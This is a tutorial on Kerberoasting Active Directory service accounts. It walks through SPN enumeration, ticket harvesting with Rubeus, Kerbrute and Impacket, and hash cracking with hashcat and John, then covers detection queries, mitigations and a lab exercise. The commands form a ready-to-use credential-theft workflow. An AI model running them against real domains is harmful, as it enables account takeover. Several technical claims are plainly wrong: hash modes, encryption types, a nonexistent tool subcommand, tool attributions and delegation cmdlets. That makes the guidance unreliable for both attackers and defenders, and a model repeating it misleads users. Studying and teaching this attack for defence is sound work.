Kerberoasting Deep Dive: Ticket...

Introduction

Kerberoasting is an attack technique that exploits the way Active Directory (AD) implements the Kerberos protocol. By requesting service tickets (TGS) for service principal names (SPNs) and then extracting the encrypted portion, an attacker can obtain a hash that is amenable to offline cracking. When the underlying service account password is weak, the hash can be cracked quickly, revealing credentials that often have privileged access.

Understanding Kerberoasting is crucial for both red-teamers who need to assess the attack surface, and blue-team defenders who must detect and mitigate the abuse of Kerberos tickets. Real-world incidents-such as the 2020 breach of a large financial services firm-demonstrate how a single poorly-protected service account can lead to domain-wide compromise.

Prerequisites

Solid grasp of Active Directory fundamentals (domains, OUs, trusts, SID structure).
Working knowledge of Kerberos authentication mechanics (TGT, TGS, encryption types).
Familiarity with password cracking tools (hashcat, John the Ripper) and hash formats.
Access to a Windows AD test lab or a safe, isolated environment for hands-on practice.

Core Concepts

Kerberos uses a two-ticket model:

Ticket Granting Ticket (TGT) - Issued by the Key Distribution Center (KDC) after a successful AS-REQ (Authentication Service Request). The TGT is encrypted with the user’s long-term secret (their password hash).
Service Ticket (TGS) - Obtained via a TGS-REQ using the TGT. The TGS is encrypted with the service account’s secret (the password of the account that owns the SPN).

Because the service account’s secret is never transmitted in clear text, the only way to verify it is to decrypt the TGS. This is where Kerberoasting shines: the attacker requests a TGS for a target SPN, extracts the ticket (a .kirbi file), and then treats the encrypted part as a password hash.

Diagram (textual description):

User --> AS-REQ --> KDC (issues TGT)
User --> TGS-REQ (includes SPN) + TGT --> KDC (issues TGS encrypted with service account key)
Attacker captures TGS --> offline cracking --> service account password

Identifying Service Accounts with SPNs and Assessing Their Privilege Level

Before you can roast, you must locate accounts that register SPNs. In AD, any object with the servicePrincipalName attribute is a candidate. Common sources include:

Computer accounts (e.g., HOST/hostname, HOST/FQDN)
Managed Service Accounts (MSAs) and Group Managed Service Accounts (gMSAs)
Application/service accounts (SQL, IIS, Exchange, etc.)

PowerShell can enumerate SPNs efficiently:

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName, Enabled

Assess privilege level by checking:

Membership in privileged groups (Domain Admins, Enterprise Admins, etc.).
Delegation settings (unconstrained, constrained, or resource-based constrained delegation).
Directly assigned permissions on high-value objects (via Get-ACL or dsacls).

Example: a service account sqlsvc with SPN MSSQLSvc/sqlsrv.example.com:1433 is a prime target if it’s a member of Domain Users only, but the underlying SQL server may have elevated rights.

Extracting TGS Tickets Using Native Tools and Offensive Utilities

Several methods exist to request and capture TGS tickets.

Native Windows Tools

kinit (MIT Kerberos for Windows) - Works on Windows and Linux. Example:

kinit -S host/targethost.example.com user@DOMAIN.COM

After the request, the ticket is stored in the Kerberos credential cache (KRB5CC). Use klist to view it, then export with ktutil or kpcli.

setspn - Primarily for SPN management, but can be combined with klist to confirm that a service ticket was issued.

Offensive Utilities

Rubeus - A C# tool that can request, harvest, and even renew tickets. Common command:

Rubeus.exe kerberoast /service:HTTP/webapp.example.com /output:roasted.kirbi

Rubeus also supports /ptt (pass-the-ticket) and /ticket:/export to dump all tickets from memory.

Kerbrute - Focuses on enumerating valid usernames and performing Kerberoasting in a single pass. Example:

kerbrute.exe userenum -d example.com -dc 10.0.0.5 usernames.txt
kerbrute.exe kerberoast -d example.com -dc 10.0.0.5 -spn "HOST/*" -o roasted.kirbi

Impacket’s GetUserSPNs.py - Python script that uses SMB/LDAP to request service tickets for every account with an SPN.

python3 GetUserSPNs.py -request -dc-ip 10.0.0.5 example.com/username:password

The script writes .kirbi files to the current directory, ready for cracking.

Converting TGS Tickets to Hash Format and Offline Cracking Strategies

Once you have a .kirbi file, you need to extract the encrypted part (the “ticket hash”). Two popular converters are kirbi2hashcat.py (part of Impacket) and Rubeus’s built-in export.

# Using Impacket’s converter
python3 kirbi2john.py roasted.kirbi > roasted.john
# For hashcat (mode 18200 - Kerberos 5 TGS-REP etype 23)
python3 kirbi2hashcat.py roasted.kirbi > roasted.hashcat

Now you can feed the hashes to cracking tools.

Hashcat Example

hashcat -m 18200 -a 0 roasted.hashcat /usr/share/wordlists/rockyou.txt --force

Use the -a 3 mask attack for longer passwords:

hashcat -m 18200 -a 3 roasted.hashcat ?a?a?a?a?a?a?a?a

John the Ripper can also process the .john format:

john --format=krb5tgs roasted.john

**Cracking Strategies**

Dictionary attacks - Start with default wordlists (rockyou, SecLists) and apply common password mangling rules (e.g., --rules=best64).
Hybrid attacks - Combine dictionary words with numeric suffixes (password123).
Mask attacks - When you have policy knowledge (e.g., 8-12 characters, at least one uppercase, one digit).
GPU acceleration - Kerberoast hashes are AES-encrypted, making them GPU-friendly; allocate sufficient VRAM for large masks.

Remember: the encryption type matters. Most modern AD environments use AES256 (etype 18) or AES128 (etype 17). Hashcat mode 18200 handles both.

Detection and Hunting: Event Logs, PowerShell Logging, and SIEM Signatures

Kerberoasting is a low-and-slow technique; attackers often blend in with normal service ticket requests. Effective detection hinges on spotting anomalies.

Windows Event Logs

Event ID 4769 - “A service ticket was requested.” Contains ServiceName, TicketEncryptionType, and ClientAccount. Look for high-volume requests from a single user.
Event ID 4768 - TGT issuance; useful for correlating with subsequent TGS requests.
Event ID 4624 - Logons; cross-reference with Kerberos events to detect unusual logon-ticket patterns.

PowerShell Script Block Logging

Many offensive tools (Rubeus, Kerbrute) are executed via PowerShell. Enable ScriptBlockLogging and ModuleLogging to capture the exact command line:

Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

Search for known indicator strings (e.g., "Rubeus", "kerberoast", "GetUserSPNs.py").

SIEM Correlation Rules

Typical rule logic:

index=wineventlog sourcetype=WinEventLog:Security EventCode=4769 | stats count by Account_Name, Service_Name, _time | where count > 20 AND Service_Name!="krbtgt"

Alert on accounts that request >20 distinct SPNs within a 5-minute window.

Defensive Controls: Enforcing Strong Random Passwords, Managed Service Accounts, Constrained Delegation, and Tiered Admin Model

Mitigation is a layered approach.

Strong Random Passwords - Enforce a minimum length of 20 characters with high entropy for any account that registers an SPN. Use Group Policy Password Policy or Password Filter DLLs to reject common patterns.

Managed Service Accounts (gMSA) - Let AD manage the password automatically; passwords are long, random, and rotated every 30 days.

New-ADServiceAccount -Name "gmsa_sqlsvc" -DNSHostName "sqlsrv.example.com" -PrincipalsAllowedToRetrieveManagedPassword "Domain Computers"

Constrained Delegation - Limit which services an account can delegate to. Avoid unconstrained delegation entirely.
```
Set-ADComputer -Identity "web01" -PrincipalsAllowedToDelegateToAccount "sqlsvc"
```
Tiered Admin Model - Separate admin accounts into Tier 0 (forest/root), Tier 1 (domain admin-like), Tier 2 (workstation admin). Ensure service accounts never belong to Tier 0.
Monitoring & Auditing - Deploy a dedicated Kerberos monitoring sensor (e.g., Kansa, Sysmon) that parses 4769 events and feeds them to a SIEM.

Common Mistakes

Harvesting only one ticket per SPN - Some services support multiple encryption types; request tickets with /enctype 23 (AES256) to get the strongest hash.
Ignoring account lockout policies - Repeated requests can trigger lockouts; use a low-frequency approach or a service account with DontRequirePreAuth set (though this is a risky configuration).
Cracking without proper hash mode - Feeding a Kerberos TGS hash into a generic NTLM mode yields no results. Always use Hashcat mode 18200 or John’s krb5tgs format.
Failing to correlate logs - Stand-alone 4769 alerts are noisy; correlate with user behavior analytics (UBA) to reduce false positives.

Real-World Impact

In 2022, a multinational retailer suffered a breach after attackers Kerberoasted a service account used by their internal reporting platform. The account was a member of the Domain Users group but had a 12-character password derived from the company’s naming convention. Once cracked, the attackers leveraged the credential for lateral movement, eventually exfiltrating customer PII.

My experience shows that the majority of successful Kerberoast attacks target accounts that:

Are not gMSAs (i.e., manually managed passwords).
Have PasswordNeverExpires enabled, leading to stale passwords.
Are granted "Read" permissions on AD objects that contain high-value data (e.g., Group Policy Objects).

Trends indicate a shift toward “Kerberoast-as-a-service” where attackers automate the entire pipeline (enumeration → ticket request → hash extraction → GPU cracking) within a single container, reducing dwell time to minutes.

Practice Exercises

Lab Setup: Deploy a Windows Server 2019 DC, a member server, and a client. Create a service account svc_test with SPN HTTP/webapp.example.com. Set a weak password (e.g., P@ssw0rd123).
Enumeration: Use PowerShell Get-ADUser or GetUserSPNs.py to list SPNs. Verify that svc_test appears.
Ticket Harvest: Run Rubeus to request the TGS and export svc_test.kirbi.
Hash Extraction: Convert the .kirbi to Hashcat format using kirbi2hashcat.py.
Crack: Execute a dictionary attack with rockyou.txt. Confirm the password recovery.
Detection: Generate 4769 events by repeatedly requesting the same SPN. Create a Splunk query to flag >10 requests per minute from the same account.
Mitigation: Convert svc_test to a gMSA and repeat the enumeration. Observe that the SPN is still present but the password is no longer static.

Summary

Kerberoasting exploits the separation of duties in Kerberos: service tickets are encrypted with the service account’s password, which can be harvested and cracked offline. Mastering the full kill-chain-from SPN discovery, ticket extraction, hash conversion, to cracking-enables penetration testers to assess AD password hygiene. Defenders must enforce strong, random passwords, adopt Managed Service Accounts, limit delegation, and deploy robust detection (event 4769 monitoring, PowerShell logging). By integrating these controls within a tiered admin model, organizations substantially reduce the attack surface and the likelihood of a successful credential-theft campaign.

Kerberoasting Deep Dive: Ticket Harvesting & Offline Cracking